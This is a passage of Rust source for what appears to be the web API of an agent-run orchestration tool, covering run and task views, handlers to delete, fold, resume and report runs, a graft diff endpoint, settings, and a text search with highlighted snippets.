3251 source_link: Option<SourceLink>,
3253 status: &'static str,
3255 attempts: usize,
3256 max_attempts: usize,
3257 is_latest: bool,
3259 latest: Option<RunBrief>,
3261 finished_by: Option<RunBrief>,
3263 closed_by_hand: bool,
3265}
3266
3267#[derive(Debug, PartialEq, Eq, Serialize)]
3269struct SourceLink {
3270 kind: &'static str,
3272 id: String,
3274 href: String,
3276}
3277
3278fn encode_segment(raw: &str) -> String {
3280 let mut out = String::with_capacity(raw.len());
3281 for b in raw.bytes() {
3282 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3283 out.push(b as char);
3284 } else {
3285 out.push_str(&format!("%{b:02X}"));
3286 }
3287 }
3288 out
3289}
3290
3291fn source_link(source: &Source) -> Option<SourceLink> {
3295 let Source::Agent { run, node } = source else {
3296 return None;
3297 };
3298 let (kind, route) = if node == crate::queue::CHAT_NODE {
3299 ("chat", "chat")
3300 } else {
3301 ("run", "runs")
3302 };
3303 Some(SourceLink {
3304 kind,
3305 id: run.clone(),
3306 href: id_links::page_href(route, run),
3307 })
3308}
3309
3310#[derive(Debug, Serialize, PartialEq)]
3312struct FollowUpParent {
3313 id: String,
3314 short: String,
3315 title: String,
3316 status: &'static str,
3318 href: String,
3319}
3320
3321#[derive(Debug, Serialize, PartialEq)]
3323struct FollowUpRun {
3324 id: String,
3325 short: String,
3326 status: Option<&'static str>,
3328 href: Option<String>,
3330}
3331
3332#[derive(Debug, Serialize, PartialEq)]
3335struct FollowUpOrigin {
3336 parent: Option<FollowUpParent>,
3338 run: FollowUpRun,
3339 pr: String,
3344 findings: Vec<String>,
3345 generation: u32,
3346}
3347
3348fn followup_origin(
3351 fu: &crate::queue::FollowUp,
3352 task: impl Fn(&str) -> Option<Task>,
3353 run: impl Fn(&str) -> Option<RunState>,
3354) -> FollowUpOrigin {
3355 let parent = fu
3356 .origin_task
3357 .as_deref()
3358 .and_then(task)
3359 .map(|t| FollowUpParent {
3360 short: t.short().to_owned(),
3361 href: format!("#/tasks/{}", encode_segment(&t.id)),
3362 status: t.status.as_str(),
3363 title: t.title,
3364 id: t.id,
3365 });
3366 let state = run(&fu.run);
3367 FollowUpOrigin {
3368 parent,
3369 run: FollowUpRun {
3370 short: run::short_of(&fu.run).to_owned(),
3371 status: state.as_ref().map(|s| s.status.as_str()),
3372 href: state
3373 .is_some()
3374 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3375 id: fu.run.clone(),
3376 },
3377 pr: fu.pr.clone(),
3378 findings: fu.findings.clone(),
3379 generation: fu.generation,
3380 }
3381}
3382
3383#[derive(Debug, Serialize)]
3385struct RunBrief {
3386 id: String,
3387 short: String,
3388 status: Option<&'static str>,
3390 outcome: String,
3392 badge: Option<String>,
3394}
3395
3396fn task_outcome(
3399 task: &Task,
3400 this_run: &str,
3401 max_attempts: usize,
3402 read: impl Fn(&str) -> Option<RunState>,
3403) -> TaskRef {
3404 let max_attempts = task.effective_attempt_limit(max_attempts);
3405 let history = task_history(task, read);
3406 let brief = |h: &TaskRunView| RunBrief {
3407 id: h.id.clone(),
3408 short: h.short.clone(),
3409 status: h.status,
3410 outcome: h.exit.edge_label(h.status),
3411 badge: h.badge.clone(),
3412 };
3413 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3414 let latest = if is_latest {
3415 None
3416 } else {
3417 history.last().map(brief)
3418 };
3419 let done = task.status == TaskStatus::Done;
3420 let finished_by = done
3421 .then(|| {
3422 history
3423 .iter()
3424 .rev()
3425 .find(|h| {
3426 matches!(
3427 h.exit,
3428 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3429 )
3430 })
3431 .map(brief)
3432 })
3433 .flatten();
3434 TaskRef {
3435 short: task.short().to_owned(),
3436 title: task.title.clone(),
3437 id: task.id.clone(),
3438 source_label: task.source.label(),
3439 source_link: source_link(&task.source),
3440 status: task.status.as_str(),
3441 attempts: task.attempts,
3442 max_attempts,
3443 is_latest,
3444 latest,
3445 closed_by_hand: done && finished_by.is_none(),
3446 finished_by,
3447 }
3448}
3449
3450#[derive(Debug, Serialize)]
3452struct LatestAttempt {
3453 id: String,
3454 short: String,
3455 resolved: bool,
3466 status: RunStatus,
3469 done: bool,
3471}
3472
3473#[derive(Debug, Default, Serialize)]
3475struct RunProseMd {
3476 advice_md: Option<AdviceMd>,
3478 candidate_summaries_md: Vec<Vec<md::Node>>,
3480 reviews_md: Vec<RoundMd>,
3482}
3483
3484#[derive(Debug, Default, Serialize)]
3485struct AdviceMd {
3486 synthesis: Vec<md::Node>,
3487 approaches: Vec<Vec<md::Node>>,
3489}
3490
3491#[derive(Debug, Default, Serialize)]
3492struct RoundMd {
3493 reviewers: Vec<ReviewerMd>,
3495 reconsideration: Vec<Vec<md::Node>>,
3497 fix: Option<FixMd>,
3498}
3499
3500#[derive(Debug, Default, Serialize)]
3501struct ReviewerMd {
3502 summary: Vec<md::Node>,
3503 findings: Vec<Vec<md::Node>>,
3505}
3506
3507#[derive(Debug, Default, Serialize)]
3508struct FixMd {
3509 notes: Vec<md::Node>,
3510 rejected: Vec<Vec<md::Node>>,
3512}
3513
3514fn run_prose_md(state: &RunState) -> RunProseMd {
3516 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3517 RunProseMd {
3518 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3519 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3520 approaches: a
3521 .records
3522 .iter()
3523 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3524 .collect(),
3525 }),
3526 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3527 reviews_md: state
3528 .reviews
3529 .iter()
3530 .map(|round| RoundMd {
3531 reviewers: round
3532 .reviews
3533 .iter()
3534 .map(|rec| ReviewerMd {
3535 summary: nodes(&rec.summary),
3536 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3537 })
3538 .collect(),
3539 reconsideration: round
3540 .reconsideration
3541 .iter()
3542 .map(|rv| nodes(&rv.reason))
3543 .collect(),
3544 fix: round.fix.as_ref().map(|fix| FixMd {
3545 notes: nodes(&fix.notes),
3546 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3547 }),
3548 })
3549 .collect(),
3550 }
3551}
3552
3553impl RunDetailView {
3554 fn of(
3555 state: RunState,
3556 waiting: bool,
3557 live: crate::run::Liveness,
3558 superseded_by: Option<String>,
3559 latest_attempt: Option<LatestAttempt>,
3560 task: Option<TaskRef>,
3561 ) -> Self {
3562 let display_status = run_display_status(&state, waiting, live);
3563 let stop_reason = crate::stop_reason::of(
3564 &state,
3565 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3566 );
3567 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3568 Self {
3569 stop_reason,
3570 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3571 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3572 prose_md: run_prose_md(&state),
3573 origin_label: crate::run::origin_label(state.origin.as_ref()),
3574 live,
3575 unmerged_by_design: state.unmerged_by_design(),
3576 waiting,
3577 display_status,
3578 badge_status,
3579 done: state.status.done(),
3580 superseded_by,
3581 latest_attempt,
3582 task,
3583 state,
3584 }
3585 }
3586}
3587
3588async fn run_detail(
3589 State(ui): State<Arc<Ui>>,
3590 Path(id): Path<String>,
3591) -> ApiResult<Json<RunDetailView>> {
3592 blocking(move || {
3593 let id = resolve_run(&ui.runs, &id)?;
3594 let state = read_run(&ui.runs, &id)?;
3595 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3596 let live = state.liveness(daemon_claims);
3597 let waiting = !ui.questions.open_for(&id).is_empty();
3598 let superseded_by = state
3599 .pr_taken_over_by
3600 .clone()
3601 .or_else(|| ui.queue.superseded_by(&id))
3602 .as_deref()
3603 .map(crate::run::short_of)
3604 .map(str::to_owned);
3605 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3609 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3610 short: head.short().to_owned(),
3611 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3612 status: head.status,
3613 done: head.status.done(),
3614 id: head.id,
3615 })
3616 });
3617 let max_attempts = daemon::Opts::default().max_attempts;
3618 let task = ui
3619 .queue
3620 .list()
3621 .into_iter()
3622 .find(|t| t.runs.contains(&id))
3623 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3624 Ok(Json(RunDetailView::of(
3625 state,
3626 waiting,
3627 live,
3628 superseded_by,
3629 latest_attempt,
3630 task,
3631 )))
3632 })
3633 .await
3634}
3635
3636async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3645 let (id, unreadable) = {
3646 let ui = Arc::clone(&ui);
3647 blocking(move || {
3648 let id = resolve_run(&ui.runs, &id)?;
3649 match read_run(&ui.runs, &id) {
3650 Ok(state) => {
3651 let in_flight =
3652 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3653 state
3654 .ensure_can_delete(in_flight)
3655 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3656 let dir = ui.runs.join(&id);
3657 std::fs::remove_dir_all(&dir)
3658 .with_context(|| format!("remove run directory {}", dir.display()))?;
3659 Ok((id, false))
3660 }
3661 Err(_) => {
3662 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3666 return Err(ApiError::conflict(format!(
3667 "run {id} is being worked on by a live daemon right now"
3668 )));
3669 }
3670 Ok((id, true))
3671 }
3672 }
3673 })
3674 .await?
3675 };
3676 if unreadable {
3677 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3678 .await
3679 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3680 }
3681 let ui = Arc::clone(&ui);
3682 let done = id.clone();
3683 blocking(move || {
3684 ui.questions.abandon_for_run(
3687 &done,
3688 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3689 )?;
3690 Ok(())
3691 })
3692 .await?;
3693 Ok(StatusCode::NO_CONTENT)
3694}
3695
3696async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3720 let (id, state) = {
3721 let ui = Arc::clone(&ui);
3722 blocking(move || {
3723 let id = resolve_run(&ui.runs, &id)?;
3724 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3725 return Err(ApiError::conflict(format!(
3726 "run {id} is being worked on by a live daemon right now"
3727 )));
3728 }
3729 let state = read_run(&ui.runs, &id).ok();
3730 Ok((id, state))
3731 })
3732 .await?
3733 };
3734 let removed = match state {
3735 Some(mut state) => {
3736 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3737 .await
3738 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3739 if removed.is_empty() {
3744 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3745 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3746 }
3747 removed
3748 }
3749 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3750 .await
3751 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3752 };
3753 Ok(Json(FoldView {
3754 run: id,
3755 removed_count: removed.len(),
3756 removed,
3757 }))
3758}
3759
3760#[derive(Debug, Serialize)]
3762struct FoldView {
3763 run: String,
3764 removed: Vec<String>,
3766 removed_count: usize,
3767}
3768
3769#[derive(Debug, Deserialize)]
3772struct FoldMergedBody {
3773 #[serde(default)]
3774 pr_url: String,
3775}
3776
3777async fn run_fold_merged(
3797 State(ui): State<Arc<Ui>>,
3798 Path(id): Path<String>,
3799 Json(body): Json<FoldMergedBody>,
3800) -> ApiResult<Json<FoldMergedView>> {
3801 let pr_url = body.pr_url.trim().to_owned();
3802 if pr_url.is_empty() {
3803 return Err(ApiError::bad_request("pr_url is required"));
3804 }
3805 let (id, mut state) = {
3806 let ui = Arc::clone(&ui);
3807 blocking(move || {
3808 let id = resolve_run(&ui.runs, &id)?;
3809 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3810 return Err(ApiError::conflict(format!(
3811 "run {id} is being worked on by a live daemon right now"
3812 )));
3813 }
3814 let state = read_run(&ui.runs, &id)?;
3815 Ok((id, state))
3816 })
3817 .await?
3818 };
3819 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3820 .await
3821 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3822 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3823 .await
3824 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3825 Ok(Json(FoldMergedView {
3826 run: id,
3827 before: before.as_str().to_owned(),
3828 after: after.as_str().to_owned(),
3829 removed,
3830 }))
3831}
3832
3833#[derive(Debug, Serialize)]
3835struct FoldMergedView {
3836 run: String,
3837 before: String,
3839 after: String,
3841 removed: Vec<String>,
3843}
3844
3845async fn run_resume(
3865 State(ui): State<Arc<Ui>>,
3866 Path(id): Path<String>,
3867) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3868 let (id, state) = {
3869 let ui = Arc::clone(&ui);
3870 blocking(move || {
3871 let id = resolve_run(&ui.runs, &id)?;
3872 let state = read_run(&ui.runs, &id)?;
3873 Ok((id, state))
3874 })
3875 .await?
3876 };
3877 if let Some(to) = state
3878 .pr_taken_over_by
3879 .as_ref()
3880 .or(state.released_to.as_ref())
3881 {
3882 return Err(ApiError::conflict(format!(
3883 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3884 state.short(),
3885 crate::run::short_of(to)
3886 )));
3887 }
3888 if !state.status.resumable() {
3889 return Err(ApiError::conflict(format!(
3890 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3891 state.short(),
3892 status_word(state.status)
3893 )));
3894 }
3895 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3900 .into_iter()
3901 .next()
3902 {
3903 return Err(ApiError::conflict(format!(
3904 "the loop is running run {} right now; stop it first, or wait for \
3905 it to finish, before resuming a run by hand.",
3906 crate::run::short_of(&work.run)
3907 )));
3908 }
3909 let _resume = ui.begin_resume(&id)?;
3910
3911 let queued = RunSummary::of(
3914 &state,
3915 !ui.questions.open_for(&id).is_empty(),
3916 state.liveness(false),
3917 );
3918 let run = id.clone();
3919 tokio::spawn(async move {
3920 let _resume = _resume;
3921 match crate::graph::Runner::resume(&run) {
3922 Ok(mut runner) => {
3923 if let Err(e) = runner.execute().await {
3924 tracing::warn!("resume of run {run} stopped: {e:#}");
3925 }
3926 }
3927 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3930 }
3931 });
3932 Ok((StatusCode::ACCEPTED, Json(queued)))
3933}
3934
3935async fn run_report(
3936 State(ui): State<Arc<Ui>>,
3937 Path(id): Path<String>,
3938) -> ApiResult<impl IntoResponse> {
3939 let text = blocking(move || {
3940 let id = resolve_run(&ui.runs, &id)?;
3941 let state = read_run(&ui.runs, &id)?;
3945 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3946 let live = state.liveness(daemon_claims);
3947 Ok(format!(
3948 "{}{}",
3949 report::run(&state),
3950 report::active_seats(&state, live)
3951 ))
3952 })
3953 .await?;
3954 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3955}
3956
3957async fn run_report_json(
3961 State(ui): State<Arc<Ui>>,
3962 Path(id): Path<String>,
3963) -> ApiResult<Json<crate::report_view::RunReportView>> {
3964 let view = blocking(move || {
3965 let id = resolve_run(&ui.runs, &id)?;
3966 let state = read_run(&ui.runs, &id)?;
3967 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3968 let recovered = state.graft.as_ref().map(|_| {
3970 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3971 });
3972 Ok(crate::report_view::build_with(
3973 &state,
3974 state.liveness(daemon_claims),
3975 recovered.as_ref(),
3976 ))
3977 })
3978 .await?;
3979 Ok(Json(view))
3980}
3981
3982const GRAFT_DIFF_MAX: usize = 400 * 1024;
3984const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3986
3987async fn run_graft_diff(
3990 State(ui): State<Arc<Ui>>,
3991 Path(id): Path<String>,
3992) -> ApiResult<impl IntoResponse> {
3993 let (repo, pre, post) = blocking(move || {
3994 let id = resolve_run(&ui.runs, &id)?;
3995 let state = read_run(&ui.runs, &id)?;
3996 let g = state
3997 .graft
3998 .as_ref()
3999 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4000 let post = g
4001 .post
4002 .clone()
4003 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4004 Ok((state.repo.clone(), g.pre.clone(), post))
4005 })
4006 .await?;
4007 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4008 if !hex(&pre) || !hex(&post) {
4009 return Err(ApiError::not_found("the recorded commits are not valid"));
4010 }
4011 let out = tokio::time::timeout(
4012 GRAFT_DIFF_TIMEOUT,
4013 crate::git::git_raw(
4014 &repo,
4015 &[
4016 "diff",
4017 "--no-color",
4018 "--no-ext-diff",
4019 "-M",
4020 &pre,
4021 &post,
4022 "--",
4023 ],
4024 ),
4025 )
4026 .await
4027 .map_err(|_| ApiError::not_found("git diff timed out"))?
4028 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4029 if out.code != Some(0) {
4030 return Err(ApiError::not_found(
4031 "the recorded commits are no longer in the repository",
4032 ));
4033 }
4034 let mut body = out.stdout;
4035 if body.len() > GRAFT_DIFF_MAX {
4036 let mut cut = GRAFT_DIFF_MAX;
4037 while !body.is_char_boundary(cut) {
4038 cut -= 1;
4039 }
4040 body.truncate(cut);
4041 body.push_str("\n... diff truncated ...");
4042 }
4043 Ok((
4044 [
4045 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4046 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4047 ],
4048 body,
4049 ))
4050}
4051
4052#[derive(Debug, Serialize)]
4058struct TaskView {
4059 #[serde(flatten)]
4060 task: Task,
4061 source_label: String,
4062 source_link: Option<SourceLink>,
4063 status_str: &'static str,
4064 instruction_md: Vec<md::Node>,
4068 waits_on: Vec<String>,
4072 stuck_roots: Vec<String>,
4075}
4076
4077impl From<Task> for TaskView {
4078 fn from(task: Task) -> Self {
4079 Self {
4080 source_label: task.source.label(),
4081 source_link: source_link(&task.source),
4082 status_str: task.status.as_str(),
4083 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4084 waits_on: Vec::new(),
4085 stuck_roots: Vec::new(),
4086 task,
4087 }
4088 }
4089}
4090
4091impl TaskView {
4092 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4093 let waits_on = inv.waits_on(&task);
4094 let stuck_roots = inv
4095 .stuck_roots(&task)
4096 .iter()
4097 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4098 .collect();
4099 Self {
4100 waits_on,
4101 stuck_roots,
4102 ..Self::from(task)
4103 }
4104 }
4105}
4106
4107#[derive(Debug, Default, Deserialize)]
4110#[serde(default)]
4111struct ReposQuery {
4112 refresh: u8,
4113}
4114
4115async fn repos_list(
4122 State(ui): State<Arc<Ui>>,
4123 Query(q): Query<ReposQuery>,
4124) -> ApiResult<Json<Vec<repos::Repo>>> {
4125 let refresh = q.refresh != 0;
4126 blocking(move || {
4127 let (cfg, _) = Config::discover(&ui.repo, None)?;
4128 Ok(Json(ui.repos_cache.list(
4129 &cfg.repos.roots,
4130 Duration::from_secs(cfg.repos.scan_ttl),
4131 refresh,
4132 )))
4133 })
4134 .await
4135}
4136
4137#[derive(Debug, Default, Deserialize)]
4139struct SettingsQuery {
4140 repo: Option<PathBuf>,
4141}
4142
4143fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4147 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4148 let paths: Vec<PathBuf> = ui
4149 .machine_config
4150 .iter()
4151 .filter(|p| p.is_file())
4152 .cloned()
4153 .collect();
4154 if paths.is_empty() {
4155 Ok(Config::autodetected())
4156 } else {
4157 Config::load_layers(&paths)
4158 }
4159 });
4160 let mut known = cfg
4161 .map(|cfg| {
4162 ui.repos_cache.list(
4163 &cfg.repos.roots,
4164 Duration::from_secs(cfg.repos.scan_ttl),
4165 refresh,
4166 )
4167 })
4168 .unwrap_or_default();
4169 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4170 if !known.iter().any(|r| r.path == path) {
4171 known.push(repos::Repo {
4172 name: path
4173 .file_name()
4174 .unwrap_or_default()
4175 .to_string_lossy()
4176 .into_owned(),
4177 path,
4178 });
4179 }
4180 known
4181}
4182
4183fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4184 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4185 let canonical = requested.canonicalize().ok();
4186 let mut known = settings_repositories(ui, false);
4187 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4188 if !known.iter().any(matches) {
4189 known = settings_repositories(ui, true);
4190 }
4191 let repo = known
4192 .iter()
4193 .find(|r| matches(r))
4194 .map(|r| r.path.clone())
4195 .ok_or_else(|| ApiError {
4196 text_reason: None,
4197 status: StatusCode::UNPROCESSABLE_ENTITY,
4198 message: "Choose a known repository from the Settings selector.".to_owned(),
4199 })?;
4200 Ok((repo, known))
4201}
4202
4203async fn settings_get(
4207 State(ui): State<Arc<Ui>>,
4208 Query(q): Query<SettingsQuery>,
4209) -> ApiResult<Json<settings::SettingsView>> {
4210 blocking(move || {
4211 let (repo, known) = settings_context(&ui, q)?;
4212 Ok(Json(settings::view_with_repos(
4213 &repo,
4214 ui.machine_config.as_deref(),
4215 &known,
4216 )))
4217 })
4218 .await
4219}
4220
4221#[derive(Debug, Deserialize)]
4223#[serde(deny_unknown_fields)]
4224struct RolesBody {
4225 revision: String,
4227 #[serde(default)]
4229 roles: std::collections::BTreeMap<String, Vec<String>>,
4230 #[serde(default)]
4234 counts: std::collections::BTreeMap<String, serde_json::Value>,
4235}
4236
4237async fn settings_put_roles(
4243 State(ui): State<Arc<Ui>>,
4244 Query(q): Query<SettingsQuery>,
4245 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4246) -> ApiResult<Json<settings::SettingsView>> {
4247 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4248 blocking(move || {
4249 let (repo, known) = settings_context(&ui, q)?;
4250 settings::save_with_repos(
4251 &repo,
4252 ui.machine_config.as_deref(),
4253 &body.revision,
4254 &body.roles,
4255 &body.counts,
4256 &known,
4257 )
4258 .map(Json)
4259 .map_err(|e| match e {
4260 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4261 settings::SaveError::Refused(m) => ApiError {
4262 text_reason: None,
4263 status: StatusCode::UNPROCESSABLE_ENTITY,
4264 message: m,
4265 },
4266 settings::SaveError::Internal(m) => ApiError::internal(m),
4267 })
4268 })
4269 .await
4270}
4271
4272async fn queue_list(
4273 State(ui): State<Arc<Ui>>,
4274 Query(q): Query<ListQuery>,
4275) -> ApiResult<Json<Vec<TaskView>>> {
4276 blocking(move || {
4277 let tasks = ui.queue.list();
4278 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4279 Ok(Json(
4280 tasks
4281 .into_iter()
4282 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4283 .map(|t| TaskView::with_inventory(t, &inv))
4284 .collect(),
4285 ))
4286 })
4287 .await
4288}
4289
4290const SEARCH_MAX_HITS: usize = 100;
4292const SEARCH_MAX_QUERY: usize = 200;
4294const SEARCH_MAX_TERMS: usize = 8;
4295const SNIPPET_BEFORE: usize = 50;
4297const SNIPPET_AFTER: usize = 110;
4298
4299#[derive(Debug, Deserialize)]
4301struct SearchQuery {
4302 #[serde(default)]
4303 scope: String,
4304 #[serde(default)]
4305 q: String,
4306}
4307
4308#[derive(Debug, Serialize, PartialEq, Eq)]
4311struct SnippetPart {
4312 text: String,
4313 hit: bool,
4314}
4315
4316#[derive(Debug, Serialize)]
4317struct SearchHit {
4318 id: String,
4319 field: String,
4321 snippet: Vec<SnippetPart>,
4322 #[serde(skip_serializing_if = "Option::is_none")]
4326 run: Option<RunSummary>,
4327}
4328
4329#[derive(Debug, Serialize)]
4330struct SearchView {
4331 scope: String,
4332 q: String,
4333 hits: Vec<SearchHit>,
4335 total: usize,
4337 truncated: bool,
4338 unreadable: usize,
4341}
4342
4343fn text_leaves<'a>(
4346 value: &'a serde_json::Value,
4347 field: &'a str,
4348 out: &mut Vec<(&'a str, &'a str)>,
4349) {
4350 match value {
4351 serde_json::Value::String(s) => out.push((field, s)),
4352 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4353 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4354 _ => {}
4355 }
4356}
4357
4358fn fold_char(c: char) -> char {
4361 c.to_lowercase().next().unwrap_or(c)
4362}
4363
4364fn search_terms(q: &str) -> Vec<String> {
4366 let mut terms: Vec<String> = Vec::new();
4367 for t in q.split_whitespace() {
4368 let t = t.to_lowercase();
4369 if !terms.contains(&t) {
4370 terms.push(t);
4371 }
4372 }
4373 terms
4374}
4375
4376fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4379 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4380 let mut first: Option<usize> = None;
4381 for term in terms {
4382 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4383 first = Some(first.map_or(at, |f| f.min(at)));
4384 }
4385 let (field, text) = leaves[first?];
4387 Some(SearchHit {
4388 id: String::new(),
4389 field: field.to_owned(),
4390 snippet: snippet_of(text, terms),
4391 run: None,
4392 })
4393}
4394
4395fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4398 let chars: Vec<char> = text.chars().collect();
4399 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4400 let needles: Vec<Vec<char>> = terms
4401 .iter()
4402 .map(|t| t.chars().map(fold_char).collect())
4403 .collect();
4404 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4405 let mut best: Option<(usize, usize)> = None;
4406 for n in needles.iter().filter(|n| !n.is_empty()) {
4407 if n.len() > chars.len() || to == 0 {
4411 continue;
4412 }
4413 let last = (to - 1).min(chars.len() - n.len());
4414 if from > last {
4415 continue;
4416 }
4417 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4418 && best.is_none_or(|(b, _)| i < b)
4419 {
4420 best = Some((i, i + n.len()));
4421 }
4422 }
4423 best
4424 };
4425 let Some((start, _)) = find(0, chars.len()) else {
4426 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4428 return vec![SnippetPart {
4429 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4430 hit: false,
4431 }];
4432 };
4433 let lo = start.saturating_sub(SNIPPET_BEFORE);
4434 let hi = (start + SNIPPET_AFTER).min(chars.len());
4435 let mut parts: Vec<SnippetPart> = Vec::new();
4436 let mut push = |s: &[char], hit: bool| {
4437 if s.is_empty() {
4438 return;
4439 }
4440 let text: String = s.iter().collect();
4441 match parts.last_mut() {
4442 Some(p) if p.hit == hit => p.text.push_str(&text),
4443 _ => parts.push(SnippetPart { text, hit }),
4444 }
4445 };
4446 if lo > 0 {
4447 push(&['\u{2026}'], false);
4448 }
4449 let mut at = lo;
4450 while at < hi {
4451 match find(at, hi) {
4452 Some((s, e)) => {
4453 push(&chars[at..s], false);
4454 let shown = e.min(hi);
4456 push(&chars[s..shown], true);
4457 at = shown;
4458 }
4459 None => {
4460 push(&chars[at..hi], false);
4461 at = hi;
4462 }
4463 }
4464 }
4465 if hi < chars.len() {
4466 push(&['\u{2026}'], false);
4467 }
4468 let mut prev_space = false;
4471 for p in &mut parts {
4472 let mut out = String::with_capacity(p.text.len());
4473 for c in p.text.chars() {
4474 if c.is_whitespace() {
4475 if !prev_space {
4476 out.push(' ');
4477 }
4478 prev_space = true;
4479 } else {
4480 out.push(c);
4481 prev_space = false;
4482 }
4483 }
4484 p.text = out;
4485 }
4486 parts.retain(|p| !p.text.is_empty());
4487 parts
4488}
4489
4490fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4492where
4493 I: IntoIterator<Item = (String, serde_json::Value)>,
4494{
4495 for (id, doc) in docs {
4496 let mut leaves = Vec::new();
4497 leaves.push(("id", id.as_str()));
4500 text_leaves(&doc, "", &mut leaves);
4501 if let Some(mut hit) = search_document(terms, &leaves) {
4502 view.total += 1;
4503 if view.hits.len() < SEARCH_MAX_HITS {
4504 hit.id = id;
4505 view.hits.push(hit);
4506 }
4507 }
4508 }
4509 view.truncated = view.total > view.hits.len();
4510}
4511
4512fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4519 let opener = talk
4520 .turns
4521 .iter()
4522 .find(|t| t.who == crate::talk::Who::Operator)
4523 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4524 .unwrap_or("");
4525 let title: String = if opener.chars().count() > 96 {
4526 opener.chars().take(95).chain(['\u{2026}']).collect()
4527 } else {
4528 opener.to_owned()
4529 };
4530 let turns: Vec<serde_json::Value> = talk
4531 .turns
4532 .iter()
4533 .map(|t| {
4534 let who = match t.who {
4535 crate::talk::Who::Operator => "operator",
